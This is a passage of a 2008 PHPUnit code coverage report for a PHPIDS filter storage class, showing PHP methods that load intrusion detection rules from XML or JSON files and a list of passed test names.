id="line183"> 183</a> </span> : * This function parses the provided source file and stores the result. -<span class="lineNum" id="container184"><a name="184"></a><a href="#184" id="line184"> 184</a> </span> : * If caching mode is enabled the result will be cached to increase -<span class="lineNum" id="container185"><a name="185"></a><a href="#185" id="line185"> 185</a> </span> : * the performance. -<span class="lineNum" id="container186"><a name="186"></a><a href="#186" id="line186"> 186</a> </span> : * -<span class="lineNum" id="container187"><a name="187"></a><a href="#187" id="line187"> 187</a> </span> : * @throws Exception if problems with fetching the XML data occur -<span class="lineNum" id="container188"><a name="188"></a><a href="#188" id="line188"> 188</a> </span> : * @return object $this -<span class="lineNum" id="container189"><a name="189"></a><a href="#189" id="line189"> 189</a> </span> : */ -<span class="lineNum" id="container190"><a name="190"></a><a href="#190" id="line190"> 190</a> </span> : public function getFilterFromXML() -<span class="lineNum" id="container191"><a name="191"></a><a href="#191" id="line191"> 191</a> </span> : { -<span class="lineNum" id="container192"><a name="192"></a><a href="#192" id="line192"> 192</a> </span> : -<span class="lineNum" id="container193"><a name="193"></a><a href="#193" id="line193"> 193</a> </span><span class="lineCov"> 41 : if (extension_loaded('SimpleXML')) { </span> -<span class="lineNum" id="container194"><a name="194"></a><a href="#194" id="line194"> 194</a> </span> : -<span class="lineNum" id="container195"><a name="195"></a><a href="#195" id="line195"> 195</a> </span> : /* -<span class="lineNum" id="container196"><a name="196"></a><a href="#196" id="line196"> 196</a> </span> : * See if filters are already available in the cache -<span class="lineNum" id="container197"><a name="197"></a><a href="#197" id="line197"> 197</a> </span> : */ -<span class="lineNum" id="container198"><a name="198"></a><a href="#198" id="line198"> 198</a> </span><span class="lineCov"> 41 : $filters = $this->_isCached(); </span> -<span class="lineNum" id="container199"><a name="199"></a><a href="#199" id="line199"> 199</a> </span> : -<span class="lineNum" id="container200"><a name="200"></a><a href="#200" id="line200"> 200</a> </span> : /* -<span class="lineNum" id="container201"><a name="201"></a><a href="#201" id="line201"> 201</a> </span> : * If they aren't, parse the source file -<span class="lineNum" id="container202"><a name="202"></a><a href="#202" id="line202"> 202</a> </span> : */ -<span class="lineNum" id="container203"><a name="203"></a><a href="#203" id="line203"> 203</a> </span><span class="lineCov"> 41 : if (!$filters) { </span> -<span class="lineNum" id="container204"><a name="204"></a><a href="#204" id="line204"> 204</a> </span><span class="lineCov"> 1 : if (file_exists($this->source)) { </span> -<span class="lineNum" id="container205"><a name="205"></a><a href="#205" id="line205"> 205</a> </span><span class="lineCov"> 1 : if (LIBXML_VERSION >= 20621) { </span> -<span class="lineNum" id="container206"><a name="206"></a><a href="#206" id="line206"> 206</a> </span><span class="lineCov"> 1 : $filters = simplexml_load_file($this->source, </span> -<span class="lineNum" id="container207"><a name="207"></a><a href="#207" id="line207"> 207</a> </span><span class="lineCov"> 1 : null, </span> -<span class="lineNum" id="container208"><a name="208"></a><a href="#208" id="line208"> 208</a> </span><span class="lineCov"> 1 : LIBXML_COMPACT); </span> -<span class="lineNum" id="container209"><a name="209"></a><a href="#209" id="line209"> 209</a> </span><span class="lineCov"> 1 : } else { </span> -<span class="lineNum" id="container210"><a name="210"></a><a href="#210" id="line210"> 210</a> </span><span class="lineNoCov"> 0 : $filters = simplexml_load_file($this->source); </span> -<span class="lineNum" id="container211"><a name="211"></a><a href="#211" id="line211"> 211</a> </span> : } -<span class="lineNum" id="container212"><a name="212"></a><a href="#212" id="line212"> 212</a> </span><span class="lineCov"> 1 : } </span> -<span class="lineNum" id="container213"><a name="213"></a><a href="#213" id="line213"> 213</a> </span><span class="lineCov"> 1 : } </span> -<span class="lineNum" id="container214"><a name="214"></a><a href="#214" id="line214"> 214</a> </span> : -<span class="lineNum" id="container215"><a name="215"></a><a href="#215" id="line215"> 215</a> </span> : /* -<span class="lineNum" id="container216"><a name="216"></a><a href="#216" id="line216"> 216</a> </span> : * In case we still don't have any filters loaded and exception -<span class="lineNum" id="container217"><a name="217"></a><a href="#217" id="line217"> 217</a> </span> : * will be thrown -<span class="lineNum" id="container218"><a name="218"></a><a href="#218" id="line218"> 218</a> </span> : */ -<span class="lineNum" id="container219"><a name="219"></a><a href="#219" id="line219"> 219</a> </span><span class="lineCov"> 41 : if (empty($filters)) { </span> -<span class="lineNum" id="container220"><a name="220"></a><a href="#220" id="line220"> 220</a> </span><span class="lineNoCov"> 0 : throw new Exception( </span> -<span class="lineNum" id="container221"><a name="221"></a><a href="#221" id="line221"> 221</a> </span> : 'XML data could not be loaded.' . -<span class="lineNum" id="container222"><a name="222"></a><a href="#222" id="line222"> 222</a> </span> : ' Make sure you specified the correct path.' -<span class="lineNum" id="container223"><a name="223"></a><a href="#223" id="line223"> 223</a> </span><span class="lineNoCov"> 0 : ); </span> -<span class="lineNum" id="container224"><a name="224"></a><a href="#224" id="line224"> 224</a> </span><span class="lineDeadCode"> : } </span> -<span class="lineNum" id="container225"><a name="225"></a><a href="#225" id="line225"> 225</a> </span> : -<span class="lineNum" id="container226"><a name="226"></a><a href="#226" id="line226"> 226</a> </span> : /* -<span class="lineNum" id="container227"><a name="227"></a><a href="#227" id="line227"> 227</a> </span> : * Now the storage will be filled with IDS_Filter objects -<span class="lineNum" id="container228"><a name="228"></a><a href="#228" id="line228"> 228</a> </span> : */ -<span class="lineNum" id="container229"><a name="229"></a><a href="#229" id="line229"> 229</a> </span><span class="lineCov"> 41 : $data = array(); </span> -<span class="lineNum" id="container230"><a name="230"></a><a href="#230" id="line230"> 230</a> </span><span class="lineCov"> 41 : $nocache = $filters instanceof SimpleXMLElement; </span> -<span class="lineNum" id="container231"><a name="231"></a><a href="#231" id="line231"> 231</a> </span><span class="lineCov"> 41 : $filters = $nocache ? $filters->filter : $filters; </span> -<span class="lineNum" id="container232"><a name="232"></a><a href="#232" id="line232"> 232</a> </span> : -<span class="lineNum" id="container233"><a name="233"></a><a href="#233" id="line233"> 233</a> </span><span class="lineCov"> 41 : include_once 'IDS/Filter.php'; </span> -<span class="lineNum" id="container234"><a name="234"></a><a href="#234" id="line234"> 234</a> </span> : -<span class="lineNum" id="container235"><a name="235"></a><a href="#235" id="line235"> 235</a> </span><span class="lineCov"> 41 : foreach ($filters as $filter) { </span> -<span class="lineNum" id="container236"><a name="236"></a><a href="#236" id="line236"> 236</a> </span> : -<span class="lineNum" id="container237"><a name="237"></a><a href="#237" id="line237"> 237</a> </span><span class="lineCov"> 41 : $id = $nocache ? (string) $filter->id : </span> -<span class="lineNum" id="container238"><a name="238"></a><a href="#238" id="line238"> 238</a> </span><span class="lineCov"> 41 : $filter['id']; </span> -<span class="lineNum" id="container239"><a name="239"></a><a href="#239" id="line239"> 239</a> </span><span class="lineCov"> 41 : $rule = $nocache ? (string) $filter->rule : </span> -<span class="lineNum" id="container240"><a name="240"></a><a href="#240" id="line240"> 240</a> </span><span class="lineCov"> 41 : $filter['rule']; </span> -<span class="lineNum" id="container241"><a name="241"></a><a href="#241" id="line241"> 241</a> </span><span class="lineCov"> 41 : $impact = $nocache ? (string) $filter->impact : </span> -<span class="lineNum" id="container242"><a name="242"></a><a href="#242" id="line242"> 242</a> </span><span class="lineCov"> 41 : $filter['impact']; </span> -<span class="lineNum" id="container243"><a name="243"></a><a href="#243" id="line243"> 243</a> </span><span class="lineCov"> 41 : $tags = $nocache ? array_values((array) $filter->tags) :</span> -<span class="lineNum" id="container244"><a name="244"></a><a href="#244" id="line244"> 244</a> </span><span class="lineCov"> 41 : $filter['tags']; </span> -<span class="lineNum" id="container245"><a name="245"></a><a href="#245" id="line245"> 245</a> </span><span class="lineCov"> 41 : $description = $nocache ? (string) $filter->description : </span> -<span class="lineNum" id="container246"><a name="246"></a><a href="#246" id="line246"> 246</a> </span><span class="lineCov"> 41 : $filter['description']; </span> -<span class="lineNum" id="container247"><a name="247"></a><a href="#247" id="line247"> 247</a> </span> : -<span class="lineNum" id="container248"><a name="248"></a><a href="#248" id="line248"> 248</a> </span><span class="lineCov"> 41 : $this->addFilter(new IDS_Filter($id, </span> -<span class="lineNum" id="container249"><a name="249"></a><a href="#249" id="line249"> 249</a> </span><span class="lineCov"> 41 : $rule, </span> -<span class="lineNum" id="container250"><a name="250"></a><a href="#250" id="line250"> 250</a> </span><span class="lineCov"> 41 : $description, </span> -<span class="lineNum" id="container251"><a name="251"></a><a href="#251" id="line251"> 251</a> </span><span class="lineCov"> 41 : (array) $tags[0], </span> -<span class="lineNum" id="container252"><a name="252"></a><a href="#252" id="line252"> 252</a> </span><span class="lineCov"> 41 : (int) $impact)); </span> -<span class="lineNum" id="container253"><a name="253"></a><a href="#253" id="line253"> 253</a> </span> : -<span class="lineNum" id="container254"><a name="254"></a><a href="#254" id="line254"> 254</a> </span><span class="lineCov"> 41 : $data[] = array( </span> -<span class="lineNum" id="container255"><a name="255"></a><a href="#255" id="line255"> 255</a> </span><span class="lineCov"> 41 : 'id' => $id, </span> -<span class="lineNum" id="container256"><a name="256"></a><a href="#256" id="line256"> 256</a> </span><span class="lineCov"> 41 : 'rule' => $rule, </span> -<span class="lineNum" id="container257"><a name="257"></a><a href="#257" id="line257"> 257</a> </span><span class="lineCov"> 41 : 'impact' => $impact, </span> -<span class="lineNum" id="container258"><a name="258"></a><a href="#258" id="line258"> 258</a> </span><span class="lineCov"> 41 : 'tags' => $tags, </span> -<span class="lineNum" id="container259"><a name="259"></a><a href="#259" id="line259"> 259</a> </span> : 'description' => $description -<span class="lineNum" id="container260"><a name="260"></a><a href="#260" id="line260"> 260</a> </span><span class="lineCov"> 41 : ); </span> -<span class="lineNum" id="container261"><a name="261"></a><a href="#261" id="line261"> 261</a> </span><span class="lineCov"> 41 : } </span> -<span class="lineNum" id="container262"><a name="262"></a><a href="#262" id="line262"> 262</a> </span> : -<span class="lineNum" id="container263"><a name="263"></a><a href="#263" id="line263"> 263</a> </span> : /* -<span class="lineNum" id="container264"><a name="264"></a><a href="#264" id="line264"> 264</a> </span> : * If caching is enabled, the fetched data will be cached -<span class="lineNum" id="container265"><a name="265"></a><a href="#265" id="line265"> 265</a> </span> : */ -<span class="lineNum" id="container266"><a name="266"></a><a href="#266" id="line266"> 266</a> </span><span class="lineCov"> 41 : if ($this->cacheSettings) { </span> -<span class="lineNum" id="container267"><a name="267"></a><a href="#267" id="line267"> 267</a> </span> : -<span class="lineNum" id="container268"><a name="268"></a><a href="#268" id="line268"> 268</a> </span><span class="lineCov"> 41 : $this->cache->setCache($data); </span> -<span class="lineNum" id="container269"><a name="269"></a><a href="#269" id="line269"> 269</a> </span><span class="lineCov"> 41 : } </span> -<span class="lineNum" id="container270"><a name="270"></a><a href="#270" id="line270"> 270</a> </span> : -<span class="lineNum" id="container271"><a name="271"></a><a href="#271" id="line271"> 271</a> </span><span class="lineCov"> 41 : } else { </span> -<span class="lineNum" id="container272"><a name="272"></a><a href="#272" id="line272"> 272</a> </span><span class="lineNoCov"> 0 : throw new Exception( </span> -<span class="lineNum" id="container273"><a name="273"></a><a href="#273" id="line273"> 273</a> </span> : 'SimpleXML not loaded.' -<span class="lineNum" id="container274"><a name="274"></a><a href="#274" id="line274"> 274</a> </span><span class="lineNoCov"> 0 : ); </span> -<span class="lineNum" id="container275"><a name="275"></a><a href="#275" id="line275"> 275</a> </span> : } -<span class="lineNum" id="container276"><a name="276"></a><a href="#276" id="line276"> 276</a> </span> : -<span class="lineNum" id="container277"><a name="277"></a><a href="#277" id="line277"> 277</a> </span><span class="lineCov"> 41 : return $this; </span> -<span class="lineNum" id="container278"><a name="278"></a><a href="#278" id="line278"> 278</a> </span><span class="lineDeadCode"> : } </span> -<span class="lineNum" id="container279"><a name="279"></a><a href="#279" id="line279"> 279</a> </span> : -<span class="lineNum" id="container280"><a name="280"></a><a href="#280" id="line280"> 280</a> </span> : /** -<span class="lineNum" id="container281"><a name="281"></a><a href="#281" id="line281"> 281</a> </span> : * Loads filters from Json file using ext/Json -<span class="lineNum" id="container282"><a name="282"></a><a href="#282" id="line282"> 282</a> </span> : * -<span class="lineNum" id="container283"><a name="283"></a><a href="#283" id="line283"> 283</a> </span> : * This function parses the provided source file and stores the result. -<span class="lineNum" id="container284"><a name="284"></a><a href="#284" id="line284"> 284</a> </span> : * If caching mode is enabled the result will be cached to increase -<span class="lineNum" id="container285"><a name="285"></a><a href="#285" id="line285"> 285</a> </span> : * the performance. -<span class="lineNum" id="container286"><a name="286"></a><a href="#286" id="line286"> 286</a> </span> : * -<span class="lineNum" id="container287"><a name="287"></a><a href="#287" id="line287"> 287</a> </span> : * @throws Exception if problems with fetching the JSON data occur -<span class="lineNum" id="container288"><a name="288"></a><a href="#288" id="line288"> 288</a> </span> : * @return object $this -<span class="lineNum" id="container289"><a name="289"></a><a href="#289" id="line289"> 289</a> </span> : */ -<span class="lineNum" id="container290"><a name="290"></a><a href="#290" id="line290"> 290</a> </span> : public function getFilterFromJson() -<span class="lineNum" id="container291"><a name="291"></a><a href="#291" id="line291"> 291</a> </span> : { -<span class="lineNum" id="container292"><a name="292"></a><a href="#292" id="line292"> 292</a> </span> : -<span class="lineNum" id="container293"><a name="293"></a><a href="#293" id="line293"> 293</a> </span><span class="lineCov"> 1 : if (extension_loaded('Json')) { </span> -<span class="lineNum" id="container294"><a name="294"></a><a href="#294" id="line294"> 294</a> </span> : -<span class="lineNum" id="container295"><a name="295"></a><a href="#295" id="line295"> 295</a> </span> : /* -<span class="lineNum" id="container296"><a name="296"></a><a href="#296" id="line296"> 296</a> </span> : * See if filters are already available in the cache -<span class="lineNum" id="container297"><a name="297"></a><a href="#297" id="line297"> 297</a> </span> : */ -<span class="lineNum" id="container298"><a name="298"></a><a href="#298" id="line298"> 298</a> </span><span class="lineCov"> 1 : $filters = $this->_isCached(); </span> -<span class="lineNum" id="container299"><a name="299"></a><a href="#299" id="line299"> 299</a> </span> : -<span class="lineNum" id="container300"><a name="300"></a><a href="#300" id="line300"> 300</a> </span> : /* -<span class="lineNum" id="container301"><a name="301"></a><a href="#301" id="line301"> 301</a> </span> : * If they aren't, parse the source file -<span class="lineNum" id="container302"><a name="302"></a><a href="#302" id="line302"> 302</a> </span> : */ -<span class="lineNum" id="container303"><a name="303"></a><a href="#303" id="line303"> 303</a> </span><span class="lineCov"> 1 : if (!$filters) { </span> -<span class="lineNum" id="container304"><a name="304"></a><a href="#304" id="line304"> 304</a> </span><span class="lineNoCov"> 0 : if (file_exists($this->source)) { </span> -<span class="lineNum" id="container305"><a name="305"></a><a href="#305" id="line305"> 305</a> </span><span class="lineNoCov"> 0 : @set_magic_quotes_runtime(0); </span> -<span class="lineNum" id="container306"><a name="306"></a><a href="#306" id="line306"> 306</a> </span><span class="lineNoCov"> 0 : $content = file_get_contents($this->source); </span> -<span class="lineNum" id="container307"><a name="307"></a><a href="#307" id="line307"> 307</a> </span><span class="lineNoCov"> 0 : $filters = json_decode($content); </span> -<span class="lineNum" id="container308"><a name="308"></a><a href="#308" id="line308"> 308</a> </span><span class="lineNoCov"> 0 : } else { </span> -<span class="lineNum" id="container309"><a name="309"></a><a href="#309" id="line309"> 309</a> </span><span class="lineNoCov"> 0 : throw new Exception( </span> -<span class="lineNum" id="container310"><a name="310"></a><a href="#310" id="line310"> 310</a> </span> : 'JSON data could not be loaded.' . -<span class="lineNum" id="container311"><a name="311"></a><a href="#311" id="line311"> 311</a> </span> : ' Make sure you specified the correct path.' -<span class="lineNum" id="container312"><a name="312"></a><a href="#312" id="line312"> 312</a> </span><span class="lineNoCov"> 0 : ); </span> -<span class="lineNum" id="container313"><a name="313"></a><a href="#313" id="line313"> 313</a> </span> : } -<span class="lineNum" id="container314"><a name="314"></a><a href="#314" id="line314"> 314</a> </span><span class="lineNoCov"> 0 : } </span> -<span class="lineNum" id="container315"><a name="315"></a><a href="#315" id="line315"> 315</a> </span> : -<span class="lineNum" id="container316"><a name="316"></a><a href="#316" id="line316"> 316</a> </span><span class="lineCov"> 1 : if (!$filters) { </span> -<span class="lineNum" id="container317"><a name="317"></a><a href="#317" id="line317"> 317</a> </span><span class="lineNoCov"> 0 : throw new Exception( </span> -<span class="lineNum" id="container318"><a name="318"></a><a href="#318" id="line318"> 318</a> </span> : 'JSON data could not be loaded.' . -<span class="lineNum" id="container319"><a name="319"></a><a href="#319" id="line319"> 319</a> </span> : ' Make sure you specified the correct path.' -<span class="lineNum" id="container320"><a name="320"></a><a href="#320" id="line320"> 320</a> </span><span class="lineNoCov"> 0 : ); </span> -<span class="lineNum" id="container321"><a name="321"></a><a href="#321" id="line321"> 321</a> </span><span class="lineDeadCode"> : } </span> -<span class="lineNum" id="container322"><a name="322"></a><a href="#322" id="line322"> 322</a> </span> : -<span class="lineNum" id="container323"><a name="323"></a><a href="#323" id="line323"> 323</a> </span> : /* -<span class="lineNum" id="container324"><a name="324"></a><a href="#324" id="line324"> 324</a> </span> : * Now the storage will be filled with IDS_Filter objects -<span class="lineNum" id="container325"><a name="325"></a><a href="#325" id="line325"> 325</a> </span> : */ -<span class="lineNum" id="container326"><a name="326"></a><a href="#326" id="line326"> 326</a> </span><span class="lineCov"> 1 : $data = array(); </span> -<span class="lineNum" id="container327"><a name="327"></a><a href="#327" id="line327"> 327</a> </span><span class="lineCov"> 1 : $nocache = !is_array($filters); </span> -<span class="lineNum" id="container328"><a name="328"></a><a href="#328" id="line328"> 328</a> </span><span class="lineCov"> 1 : $filters = $nocache ? $filters->filters->filter : $filters; </span> -<span class="lineNum" id="container329"><a name="329"></a><a href="#329" id="line329"> 329</a> </span> : -<span class="lineNum" id="container330"><a name="330"></a><a href="#330" id="line330"> 330</a> </span><span class="lineCov"> 1 : include_once 'IDS/Filter.php'; </span> -<span class="lineNum" id="container331"><a name="331"></a><a href="#331" id="line331"> 331</a> </span> : -<span class="lineNum" id="container332"><a name="332"></a><a href="#332" id="line332"> 332</a> </span><span class="lineCov"> 1 : foreach ($filters as $filter) { </span> -<span class="lineNum" id="container333"><a name="333"></a><a href="#333" id="line333"> 333</a> </span> : -<span class="lineNum" id="container334"><a name="334"></a><a href="#334" id="line334"> 334</a> </span><span class="lineCov"> 1 : $id = $nocache ? (string) $filter->id : </span> -<span class="lineNum" id="container335"><a name="335"></a><a href="#335" id="line335"> 335</a> </span><span class="lineCov"> 1 : $filter['id']; </span> -<span class="lineNum" id="container336"><a name="336"></a><a href="#336" id="line336"> 336</a> </span><span class="lineCov"> 1 : $rule = $nocache ? (string) $filter->rule : </span> -<span class="lineNum" id="container337"><a name="337"></a><a href="#337" id="line337"> 337</a> </span><span class="lineCov"> 1 : $filter['rule']; </span> -<span class="lineNum" id="container338"><a name="338"></a><a href="#338" id="line338"> 338</a> </span><span class="lineCov"> 1 : $impact = $nocache ? (string) $filter->impact : </span> -<span class="lineNum" id="container339"><a name="339"></a><a href="#339" id="line339"> 339</a> </span><span class="lineCov"> 1 : $filter['impact']; </span> -<span class="lineNum" id="container340"><a name="340"></a><a href="#340" id="line340"> 340</a> </span><span class="lineCov"> 1 : $tags = $nocache ? array_values((array) $filter->tags) :</span> -<span class="lineNum" id="container341"><a name="341"></a><a href="#341" id="line341"> 341</a> </span><span class="lineCov"> 1 : $filter['tags']; </span> -<span class="lineNum" id="container342"><a name="342"></a><a href="#342" id="line342"> 342</a> </span><span class="lineCov"> 1 : $description = $nocache ? (string) $filter->description : </span> -<span class="lineNum" id="container343"><a name="343"></a><a href="#343" id="line343"> 343</a> </span><span class="lineCov"> 1 : $filter['description']; </span> -<span class="lineNum" id="container344"><a name="344"></a><a href="#344" id="line344"> 344</a> </span> : -<span class="lineNum" id="container345"><a name="345"></a><a href="#345" id="line345"> 345</a> </span><span class="lineCov"> 1 : $this->addFilter(new IDS_Filter($id, </span> -<span class="lineNum" id="container346"><a name="346"></a><a href="#346" id="line346"> 346</a> </span><span class="lineCov"> 1 : $rule, </span> -<span class="lineNum" id="container347"><a name="347"></a><a href="#347" id="line347"> 347</a> </span><span class="lineCov"> 1 : $description, </span> -<span class="lineNum" id="container348"><a name="348"></a><a href="#348" id="line348"> 348</a> </span><span class="lineCov"> 1 : (array) $tags[0], </span> -<span class="lineNum" id="container349"><a name="349"></a><a href="#349" id="line349"> 349</a> </span><span class="lineCov"> 1 : (int) $impact)); </span> -<span class="lineNum" id="container350"><a name="350"></a><a href="#350" id="line350"> 350</a> </span> : -<span class="lineNum" id="container351"><a name="351"></a><a href="#351" id="line351"> 351</a> </span><span class="lineCov"> 1 : $data[] = array( </span> -<span class="lineNum" id="container352"><a name="352"></a><a href="#352" id="line352"> 352</a> </span><span class="lineCov"> 1 : 'id' => $id, </span> -<span class="lineNum" id="container353"><a name="353"></a><a href="#353" id="line353"> 353</a> </span><span class="lineCov"> 1 : 'rule' => $rule, </span> -<span class="lineNum" id="container354"><a name="354"></a><a href="#354" id="line354"> 354</a> </span><span class="lineCov"> 1 : 'impact' => $impact, </span> -<span class="lineNum" id="container355"><a name="355"></a><a href="#355" id="line355"> 355</a> </span><span class="lineCov"> 1 : 'tags' => $tags, </span> -<span class="lineNum" id="container356"><a name="356"></a><a href="#356" id="line356"> 356</a> </span> : 'description' => $description -<span class="lineNum" id="container357"><a name="357"></a><a href="#357" id="line357"> 357</a> </span><span class="lineCov"> 1 : ); </span> -<span class="lineNum" id="container358"><a name="358"></a><a href="#358" id="line358"> 358</a> </span><span class="lineCov"> 1 : } </span> -<span class="lineNum" id="container359"><a name="359"></a><a href="#359" id="line359"> 359</a> </span> : -<span class="lineNum" id="container360"><a name="360"></a><a href="#360" id="line360"> 360</a> </span> : /* -<span class="lineNum" id="container361"><a name="361"></a><a href="#361" id="line361"> 361</a> </span> : * If caching is enabled, the fetched data will be cached -<span class="lineNum" id="container362"><a name="362"></a><a href="#362" id="line362"> 362</a> </span> : */ -<span class="lineNum" id="container363"><a name="363"></a><a href="#363" id="line363"> 363</a> </span><span class="lineCov"> 1 : if ($this->cacheSettings) { </span> -<span class="lineNum" id="container364"><a name="364"></a><a href="#364" id="line364"> 364</a> </span><span class="lineCov"> 1 : $this->cache->setCache($data); </span> -<span class="lineNum" id="container365"><a name="365"></a><a href="#365" id="line365"> 365</a> </span><span class="lineCov"> 1 : } </span> -<span class="lineNum" id="container366"><a name="366"></a><a href="#366" id="line366"> 366</a> </span> : -<span class="lineNum" id="container367"><a name="367"></a><a href="#367" id="line367"> 367</a> </span><span class="lineCov"> 1 : } else { </span> -<span class="lineNum" id="container368"><a name="368"></a><a href="#368" id="line368"> 368</a> </span><span class="lineNoCov"> 0 : throw new Exception( </span> -<span class="lineNum" id="container369"><a name="369"></a><a href="#369" id="line369"> 369</a> </span> : 'ext/json not loaded.' -<span class="lineNum" id="container370"><a name="370"></a><a href="#370" id="line370"> 370</a> </span><span class="lineNoCov"> 0 : ); </span> -<span class="lineNum" id="container371"><a name="371"></a><a href="#371" id="line371"> 371</a> </span> : } -<span class="lineNum" id="container372"><a name="372"></a><a href="#372" id="line372"> 372</a> </span> : -<span class="lineNum" id="container373"><a name="373"></a><a href="#373" id="line373"> 373</a> </span><span class="lineCov"> 1 : return $this; </span> -<span class="lineNum" id="container374"><a name="374"></a><a href="#374" id="line374"> 374</a> </span><span class="lineDeadCode"> : } </span> -<span class="lineNum" id="container375"><a name="375"></a><a href="#375" id="line375"> 375</a> </span> : } -<span class="lineNum" id="container376"><a name="376"></a><a href="#376" id="line376"> 376</a> </span> : -<span class="lineNum" id="container377"><a name="377"></a><a href="#377" id="line377"> 377</a> </span> : /* -<span class="lineNum" id="container378"><a name="378"></a><a href="#378" id="line378"> 378</a> </span> : * Local variables: -<span class="lineNum" id="container379"><a name="379"></a><a href="#379" id="line379"> 379</a> </span> : * tab-width: 4 -<span class="lineNum" id="container380"><a name="380"></a><a href="#380" id="line380"> 380</a> </span> : * c-basic-offset: 4 -<span class="lineNum" id="container381"><a name="381"></a><a href="#381" id="line381"> 381</a> </span> : * End: -<span class="lineNum" id="container382"><a name="382"></a><a href="#382" id="line382"> 382</a> </span> : */ - -</pre> - </td> - </tr> - </table> - - <table width="100%" border="0" cellspacing="0" cellpadding="0"> - <tr><td class="ruler"><img src="glass.png" width="3" height="3" alt=""></td></tr> - <tr><td class="versionInfo">Generated by <a href="http://www.phpunit.de/">PHPUnit 3.3.1</a> and <a href="http://www.xdebug.org/">Xdebug 2.1.0-dev</a> at Mon Dec 22 13:57:42 CET 2008.</td></tr> - </table> - - <br /> - - <script language="javascript"> - $E = YAHOO.util.Event; - YAHOO.namespace("phpunit.container"); - YAHOO.phpunit.container.panelsData = { - "panel94": { - "header": "42 tests cover line 94", - "body": "<ul><li class=\"testPassed\">testGetHTML(IDS_MonitorTest)</li><li class=\"testPassed\">testGetStorage(IDS_MonitorTest)</li><li class=\"testPassed\">testRunWithTags(IDS_MonitorTest)</li><li class=\"testPassed\">testRun(IDS_MonitorTest)</li><li class=\"testPassed\">testNoResult(IDS_MonitorTest)</li><li class=\"testPassed\">testSetExceptionsString(IDS_MonitorTest)</li><li class=\"testPassed\">testSetExceptionsArray(IDS_MonitorTest)</li><li class=\"testPassed\">testList(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithJsonFilters(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithKeyScanning(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithException(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithSubKeys(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithSubKeysAndExceptions(IDS_MonitorTest)</li><li class=\"testPassed\">testAttributeBreakerList(IDS_MonitorTest)</li><li class=\"testPassed\">testCommentList(IDS_MonitorTest)</li><li class=\"testPassed\">testConcatenatedXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testConcatenatedXSSList2(IDS_MonitorTest)</li><li class=\"testPassed\">testXMLPredicateXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testConditionalCompilationXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testSelfContainedXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList2(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList3(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList4(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList5(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList6(IDS_MonitorTest)</li><li class=\"testPassed\">testDTList(IDS_MonitorTest)</li><li class=\"testPassed\">testURIList(IDS_MonitorTest)</li><li class=\"testPassed\">testRFEList(IDS_MonitorTest)</li><li class=\"testPassed\">testUTF7List(IDS_MonitorTest)</li><li class=\"testPassed\">testBase64CCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testDecimalCCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testOctalCCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testHexCCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testLDAPInjectionList(IDS_MonitorTest)</li><li class=\"testPassed\">testAllowedHTMLScanningPositive(IDS_MonitorTest)</li><li class=\"testPassed\">testAllowedHTMLScanningNegative(IDS_MonitorTest)</li><li class=\"testPassed\">testJSONScanning(IDS_MonitorTest)</li><li class=\"testPassed\">testForFalseAlerts(IDS_MonitorTest)</li><li class=\"testPassed\">testWrongXmlFilterPathException(IDS_ExceptionTest)</li><li class=\"testPassed\">testFilterSetFilterSet(IDS_FilterTest)</li></ul>", - "footer": "" - }, - "panel96": { - "header": "42 tests cover line 96", - "body": "<ul><li class=\"testPassed\">testGetHTML(IDS_MonitorTest)</li><li class=\"testPassed\">testGetStorage(IDS_MonitorTest)</li><li class=\"testPassed\">testRunWithTags(IDS_MonitorTest)</li><li class=\"testPassed\">testRun(IDS_MonitorTest)</li><li class=\"testPassed\">testNoResult(IDS_MonitorTest)</li><li class=\"testPassed\">testSetExceptionsString(IDS_MonitorTest)</li><li class=\"testPassed\">testSetExceptionsArray(IDS_MonitorTest)</li><li class=\"testPassed\">testList(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithJsonFilters(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithKeyScanning(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithException(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithSubKeys(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithSubKeysAndExceptions(IDS_MonitorTest)</li><li class=\"testPassed\">testAttributeBreakerList(IDS_MonitorTest)</li><li class=\"testPassed\">testCommentList(IDS_MonitorTest)</li><li class=\"testPassed\">testConcatenatedXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testConcatenatedXSSList2(IDS_MonitorTest)</li><li class=\"testPassed\">testXMLPredicateXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testConditionalCompilationXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testSelfContainedXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList2(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList3(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList4(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList5(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList6(IDS_MonitorTest)</li><li class=\"testPassed\">testDTList(IDS_MonitorTest)</li><li class=\"testPassed\">testURIList(IDS_MonitorTest)</li><li class=\"testPassed\">testRFEList(IDS_MonitorTest)</li><li class=\"testPassed\">testUTF7List(IDS_MonitorTest)</li><li class=\"testPassed\">testBase64CCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testDecimalCCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testOctalCCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testHexCCConverter(IDS_MonitorTest)</li><li 